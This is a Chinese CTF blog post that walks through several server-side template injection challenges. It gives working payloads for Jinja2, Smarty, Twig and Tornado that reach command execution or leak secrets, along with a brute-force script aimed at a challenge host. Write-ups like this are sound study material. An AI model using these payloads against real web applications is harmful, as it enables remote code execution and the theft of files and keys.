[做题记录]一些简单的SSTI题目

发布时间 2023-09-02 15:42:46作者: notbad3

一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了?。


Web_python_template_injection

因为之前碰到SSTI的题都跳过了所以也没好好学习过,学习时参考了这些师傅们的博客:
https://blog.csdn.net/qq_45774670/article/details/110223398
https://xz.aliyun.com/t/11090
https://xz.aliyun.com/t/6885#toc-4

这里推荐youtube一个叫pwnfunction博主的视频,个人认为讲的非常好:
https://www.bilibili.com/video/BV17V411i7hA/?spm_id_from=333.337.search-card.all.click&vd_source=b8d8fad43ff7de433d4601f545766a7d
B站由字幕组翻译,不过不太全,也可以直接去youtube看原版

python模板注入,进入环境:

image

既然啥提示也没有,访问下index.php看看结果:
image
方向没错,把index.php改成{{7*7}}看看结果:
image
出来了个49,把用户的输入执行了,存在SSTI:看看什么类型:
{{7*'7'}}
image
结果是7777777,目测Jiinja2:
/{{"".__class__}} //返回类型所属的对象
image
利用__base__往上找str的爹:
{{"".__class__.__base__}}
image
我们的目标是找到‘object',python中万物皆对象,找到object这个最大的爹再往下找包含一些特定模块的类
再利用__base__找这个basestring的爹:
{{"".__class__.__base__.__base__}}
image
OK,我们想要的object出现了,看看他下面都有哪些类:
{{"".__class__.__base__.__base__.__subclasses__()}}
image
文章里说带error、print等的类都可能调用os模块,subclasses()[数字]表示返回某个特定的类。
一个一个查太麻烦,可以写个脚本得到我们需要的类的下标,这个脚本参考了之前做一个脚本题

import requests
import re
import time
for i in range(0,100):
    time.sleep(0.04)
    url = "http://61.147.171.105:59934/%7B%7B%22%22.__class__.__base__.__base__.__subclasses__()["+str(i)+"]%7D%7D" //注意这里不能直接加i

    s = requests.get(url=url)
    time.sleep(0.06)
    print(s.text)  //这个不加更好,我写上主要是为了看看他返回的都有啥东西
	if 'Print' in s.text:
        print(i)
    else:
        continue
//注意url那里一定要双引号包裹。。

看下结果:
image
OK,回显的数字是71,里面包含os模块的类我们已经找到了,利用.init.globals['os']去访问os这个模块,之后就可以调用函数了:
image
访问成功,构造payload:

/{{"".__class__.__base__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
popen()用于执行某个命令,.read用于读取命令执行后的结果

image
构造payload去读fl4g index.py:
/{{"".__class__.__base__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g index.py').read()}}
image
拿到flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

Easytornado

题目描述:Tornado 框架
进入环境:
image
给了三个txt文件,分别访问一下:
image
第一个文件说flag 在/fllllllllllllag里,那我们的目标应该是要想办法访问这个东西。再看下上面的url,发现有点意思:
file?filename=/flag.txt&filehash=2df98b7e1be7a7a1e0b76474dc3174dc
它把要访问的文件名&file哈希值(32位),我试着把前面的文件名MD5加密了一下,发现不是对应的MD5,再往下看看,访问/welcome.txt。
image
file?filename=/welcome.txt&filehash=56500f79c635256a35d24b83daec6bdf
可以看到这个url还是这个吊样:文件名+不知道把什么东西进行HASH后的值。而且页面里这个render什么意思也不太清楚。。先看最后一个txt文件:
image
类似的URL,他这里有个提示:
md5(cookie_secret+md5(filename))
我觉得他这个暗示了filehash是怎么加密的:先把cookie_secret和filename的 MD5hash值加起来然后再进行一次MD5加密。filename就是我们要读的文件,根据题目提示应该是/fllllllllllllag。第一次加密的时候我以为这个cookie_secret就是cookie的值。。然后傻傻的burpsuite抓包找cookie然后发现过不去,哈哈。
走到这里就不知道怎么做了。。而且render这个提示也不知道什么意思,去网上查了下wp,参考了这位师傅的文章:
https://blog.csdn.net/wuh2333/article/details/131748076
看了下render这个方法,他大概是一个有渲染功能的“函数”,可以根据不同的输入显示不同的输出。可以利用它来执行某些“命令”,相当与模板注入里的模板。找到模板了,先看看注入点在哪里:
把URL后面的哈希改成1:
image
出现了一个新参数:
image
老规矩{{77}},看看结果:
image
出现了ORZ。。我感觉这里把{{7
7}}给执行了但触发了什么正则匹配啥的所以显示ORZ。
URL:
/error?msg={{datetime}}
师傅wp解释datetime这个东西在Tornado的前端页面模板中,datetime指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象。
根据回显可知这玩意确实被执行了,那么这里就是我们要注入的点
image
接下来就想办法找这个cookie_secret,查了一下发现这东西是个给cookie签名或者加密的密钥/密码,这玩意儿被放在RequestHandler.get_secure_cookie、RequestHandler.settings、self.application.settings里。
用模板尝试访问一下这几个东西:
image
image
image
发现均没有回显。。。
看了下这位师傅的wp:
https://blog.csdn.net/Onlyone_1314/article/details/121875087
不能直接用类名调用函数去访问它的settings,必须要用实例化的对象调用函数去访问,而handler就是处理当前这个页面的HTTP请求的RequestHandler对象。
所以直接handler.settings:
image
得到cookie_secret,再按之前的步骤进行两轮加密得到flag。
image

[BJDCTF2020]The mystery of ip

进入环境:
image
我感觉这图片挺好看的,哈哈
看hint有啥东西:
image
感觉没啥有价值的。。看下flag:
image
他说我的IP是10.244.80.12,感觉包里带XFF之类的字段了,burpsuite抓包看下,不过我主机IP并不是他的这个:
image
不知道它的地址怎么得来的?10.244.80.12明显是个私网地址,也不知道这东西是不是我们学校NAT接内网那个口的地址。
用burpsuite分别抓下几个链接的包,先是flag:
image
image
包里没有XFF/clientip字段确也回显了IP?加个XFF/client-ip字段看看效果:
X-Forwarded-For:11.11.11.11
image
回显了我们输入的IP:
image
image
hint回显的包里有一段注释:
<!-- Do you know why i know your ip? -->
应该和XFF字段有关。。我以为在XFF字段存在SQL注入,结果搞了半天没啥结果。。参考了这位师傅的wp才知道是一道SSTI的题,感谢(下面的分类图片也来自这位师傅的wp):
https://blog.csdn.net/m0_55109452/article/details/117474173?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169361960516800184145389%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169361960516800184145389&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-117474173-null-null.142^v93^koosearch_v1&utm_term=%5BBJDCTF2020%5DThe%20mystery%20of%20ip&spm=1018.2226.3001.4187
既然页面根据我们的XFF输入字段有相应变化,那么这里应该就是注入点,输入${7*7}试试:
X-Forwarded-For:${7*7}
image
有反应,确实是模板注入,接下来判断是哪一种?:
image
X-Forwarded-For:a{*comment*}b,有反应:
image
Smarty模板注入,看了师傅的wp我个人感觉这东西有个最大的特点就是可以直接执行命令,不像第一道jinja一样找爹然后再往下找方法再调用os模块再执行命令。。这个方便多了,直接看当前目录下都有啥文件:
X-Forwarded-For:{system('ls')}
image
有个flag.php,cat读一下:
system('cat flag.php')
image
???怎么没有?那就看看根目录下有什么:
{system('ls /')}
image
有个flag目录,cat看看这是啥东西:
X-Forwarded-For:{system(' cat /flag')}
image
OK,拿到flag。

[BJDCTF2020]Cookie is so stable

进入环境:
image
cookie is so stable,应该和cookie有关系,进hint看看:
<!-- Why not take a closer look at cookies? -->
因为这页面也没啥回显,进flag看看:
image
随便输点啥:notbad3
image
有回显,这里应该存在注入,因为开了天眼知道这也是SSTI的题所以直接${77}:
image
没被执行,试试{{7*7}}:
image
被执行了,再往下:看看{{7
'7'}}:
image
被执行了,应该是Jinja2或Twig,结果不是7个7而是49,因此是Twig:
登录之后抓包再看下cookie,发现多了个user字段:
image
这个%7B%7B7%2A%277%27%7D%7D明显就是刚刚的{{7*'7'}},而且页面也回显了49,那么注入点就是这个user字段,Twig第一次接触。。网上找了点wp,参考了这位几师傅的文章:
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig
https://blog.csdn.net/qq_46230755/article/details/111818605?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-111818605-blog-123011238.235^v38^pc_relevant_yljh&spm=1001.2101.3001.4242.1&utm_relevant_index=3
Twig这东西好像有一种固定的解法:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
#registerUndefinedFilterCallback("exec") 将exec传入到全局数组中
#getFilter("cat /flag")把语句传入到参数
最后实现了在函数中func("exec", "cat /flag")的执行

payload:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
exec换成system也行

看下对registerUndefinedFilterCallbackgetFilter这两个函数的解释:

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//执行$callback,参数是name          return $filter;
        }
    }
    return false;
}
 
public function registerUndefinedFilterCallback($callable)//
{
    $this->filterCallbacks[] = $callable;//这东西就是我们为了拿FLAG要执行的某个函数
} 

所以这东西实际执行的是:system('cat /flag') //ls看不到有啥和flag有关的东西,师傅们的普遍思路都是直接尝试读根目录下的flag文件就能拿到flag
flag:
image

[第三章 web进阶]SSTI(N1 BOOK)

进入环境:
image
。。不知道啥意思,抓包、扫描也没有啥东西,试一下/?password=${77}:
image
没反应。。试试/?password={{7
7}}
image
OK,有结果了,SSTI注入点是这个password,试试{{7*'7'}},看他是Jinja还是Twig:
image
回显7个7,是Jinja:
{{"".__class__}}找他的爹
image
?password={{"".__class__.__base__}} //还是不行,利用.__base__继续往上找
image
我们想要的object出现了,subclasses看下他的儿子们:
?password={{"".__class__.__base__.__subclasses__()}}
image
感觉和第一个题一样,还是用第一题那个脚本,找Printer或Error:
image

129,418都带了Printer这个东西。。不过我用了129、418都没法用os,又找了一下wp发现这题要找带os的。。把第一题脚本里的Printer改成os就行了:
image
payload看下当前目录下的文件:
?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
image
flag藏在app下的server.py里。。。?
/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}
image

目前就碰到了这些SSTI的题,以后碰到再补一些